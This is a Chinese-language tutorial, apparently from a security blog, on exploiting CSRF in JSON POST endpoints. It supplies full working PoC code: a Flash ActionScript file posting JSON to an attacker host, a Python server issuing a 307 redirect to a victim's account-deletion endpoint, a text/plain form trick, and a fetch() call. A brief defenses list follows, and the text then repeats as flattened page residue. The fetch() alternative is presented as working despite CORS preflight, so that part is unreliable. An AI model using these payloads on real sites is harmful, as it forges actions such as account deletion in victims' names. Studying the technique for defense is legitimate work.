如何在JSON端点上利用CSRF漏洞
字数 1234 2025-08-18 11:37:07

利用JSON端点中的CSRF漏洞技术分析

背景介绍

在渗透测试过程中,安全研究人员发现了一种特殊的CSRF(跨站请求伪造)漏洞,该漏洞存在于接收JSON格式POST请求的端点中。传统的CSRF利用方法无法直接应用于这种端点,因为:

  1. 需要发送JSON格式的POST body
  2. 需要设置自定义Content-Type头为application/json
  3. 标准HTML表单无法满足这些要求

传统CSRF利用的限制

传统CSRF PoC通常使用HTML表单提交数据:

<html>
<body onload=myform.submit()>
<form action="/userdelete" method="POST" name="myform">
  <input type="hidden" id="acctnum" name="acctnum" value="100">
  <input type="hidden" id="confirm" name="confirm" value="true">
</form>
</body>
</html>

这种方法有以下限制:

  • 只能发送application/x-www-form-urlencoded格式
  • 无法设置自定义HTTP头
  • 无法直接发送JSON格式数据

解决方案:Flash + HTTP 307重定向

技术原理

  1. Flash (ActionScript):可以设置自定义HTTP头并发送POST请求
  2. HTTP 307:临时重定向状态码,能保持原始请求方法和请求体不变

攻击流程

  1. 目标用户访问包含恶意Flash的页面
  2. Flash向攻击者控制的服务器发送POST请求(含JSON数据和自定义头)
  3. 攻击者服务器返回307重定向到目标站点
  4. 浏览器自动重定向请求到目标站点,保持JSON数据和application/json

具体实现步骤

1. 创建恶意Flash文件 (csrf.swf)

准备工作

  • 安装Flex SDK(需要32位JVM)
  • 创建ActionScript文件csrf.as

ActionScript代码

package {
  import flash.display.Sprite;
  import flash.net.URLLoader;
  import flash.net.URLRequest;
  import flash.net.URLRequestHeader;
  import flash.net.URLRequestMethod;
  
  public class csrf extends Sprite {
    public function csrf() {
      super();
      var member1:Object = null;
      var myJson:String = null;
      
      member1 = new Object();
      member1 = { "acctnum":"100", "confirm":"true" };
      var myData:Object = member1;
      myJson = JSON.stringify(myData);
      
      var url:String = "http://attacker-ip:8000/";
      var request:URLRequest = new URLRequest(url);
      request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));
      request.data = myJson;
      request.method = URLRequestMethod.POST;
      
      var urlLoader:URLLoader = new URLLoader();
      try {
        urlLoader.load(request);
        return;
      } catch(e:Error) {
        trace(e);
        return;
      }
    }
  }
}

编译命令

mxmlc csrf.as

2. 创建重定向服务器

使用Python创建简单的HTTP服务器:

import BaseHTTPServer
import time
import sys

HOST = ''
PORT = 8000

class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_POST(s):
        if s.path == '/csrf.swf':
            s.send_response(200)
            s.send_header("Content-Type", "application/x-shockwave-flash")
            s.end_headers()
            s.wfile.write(open("csrf.swf", "rb").read())
            return
        
        s.send_response(307)
        s.send_header("Location", "http://victim-site/userdelete")
        s.end_headers()
    
    def do_GET(s):
        print(s.path)
        s.do_POST()

if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class((HOST, PORT), RedirectHandler)
    print time.asctime(), "Server Starts - %s:%s" % (HOST, PORT)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    print time.asctime(), "Server Stops - %s:%s" % (HOST, PORT)

3. 攻击流程

  1. 目标用户登录目标网站http://victim-site/
  2. 用户访问攻击者控制的http://attacker-ip:8000/csrf.swf
  3. Flash文件加载并发送POST请求到攻击者服务器
  4. 服务器返回307重定向到http://victim-site/userdelete
  5. 浏览器自动重定向请求,保持JSON数据和application/json
  6. 目标用户的账户被删除

替代方案

如果服务器不严格检查Content-Type,可以使用以下方法:

1. 使用HTML表单和text/plain编码

<html>
<body>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<form id="myform" enctype="text/plain" action="https://victim-site/userdelete" method="POST">
  <input id="json" type="hidden" name='json' value='test"}'>
</form>
<script>
$(document).ready(function() {
  $("#json").attr("name", '{"acctnum":"100","confirm":"true","a"')
  $("#myform").submit()
});
</script>
</body>
</html>

2. 使用Fetch API

fetch('https://victim-site/userdelete', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
  },
  body: JSON.stringify({acctnum: "100", confirm: "true"}),
  credentials: 'include'
});

防御措施

  1. 使用CSRF令牌:在请求中包含高强度随机令牌
  2. SameSite Cookie属性:设置Cookie的SameSite属性为Strict或Lax
  3. 验证Origin/Referer头:检查请求来源
  4. 避免GET请求修改状态:遵循RESTful设计原则
  5. 修复XSS漏洞:XSS可能绕过CSRF保护

参考资源

  • OWASP CSRF防护指南
  • GitHub项目:json-flash-csrf-poc
  • Fetch API文档

通过这种技术组合,攻击者可以绕过JSON端点的CSRF保护,强调了全面安全防护的重要性。

利用JSON端点中的CSRF漏洞技术分析 背景介绍 在渗透测试过程中,安全研究人员发现了一种特殊的CSRF(跨站请求伪造)漏洞,该漏洞存在于接收JSON格式POST请求的端点中。传统的CSRF利用方法无法直接应用于这种端点,因为: 需要发送JSON格式的POST body 需要设置自定义Content-Type头为 application/json 标准HTML表单无法满足这些要求 传统CSRF利用的限制 传统CSRF PoC通常使用HTML表单提交数据: 这种方法有以下限制: 只能发送 application/x-www-form-urlencoded 格式 无法设置自定义HTTP头 无法直接发送JSON格式数据 解决方案:Flash + HTTP 307重定向 技术原理 Flash (ActionScript) :可以设置自定义HTTP头并发送POST请求 HTTP 307 :临时重定向状态码,能保持原始请求方法和请求体不变 攻击流程 目标用户访问包含恶意Flash的页面 Flash向攻击者控制的服务器发送POST请求(含JSON数据和自定义头) 攻击者服务器返回307重定向到目标站点 浏览器自动重定向请求到目标站点,保持JSON数据和 application/json 头 具体实现步骤 1. 创建恶意Flash文件 (csrf.swf) 准备工作 : 安装Flex SDK(需要32位JVM) 创建ActionScript文件 csrf.as ActionScript代码 : 编译命令 : 2. 创建重定向服务器 使用Python创建简单的HTTP服务器: 3. 攻击流程 目标用户登录目标网站 http://victim-site/ 用户访问攻击者控制的 http://attacker-ip:8000/csrf.swf Flash文件加载并发送POST请求到攻击者服务器 服务器返回307重定向到 http://victim-site/userdelete 浏览器自动重定向请求,保持JSON数据和 application/json 头 目标用户的账户被删除 替代方案 如果服务器不严格检查Content-Type,可以使用以下方法: 1. 使用HTML表单和text/plain编码 2. 使用Fetch API 防御措施 使用CSRF令牌 :在请求中包含高强度随机令牌 SameSite Cookie属性 :设置Cookie的SameSite属性为Strict或Lax 验证Origin/Referer头 :检查请求来源 避免GET请求修改状态 :遵循RESTful设计原则 修复XSS漏洞 :XSS可能绕过CSRF保护 参考资源 OWASP CSRF防护指南 GitHub项目:json-flash-csrf-poc Fetch API文档 通过这种技术组合,攻击者可以绕过JSON端点的CSRF保护,强调了全面安全防护的重要性。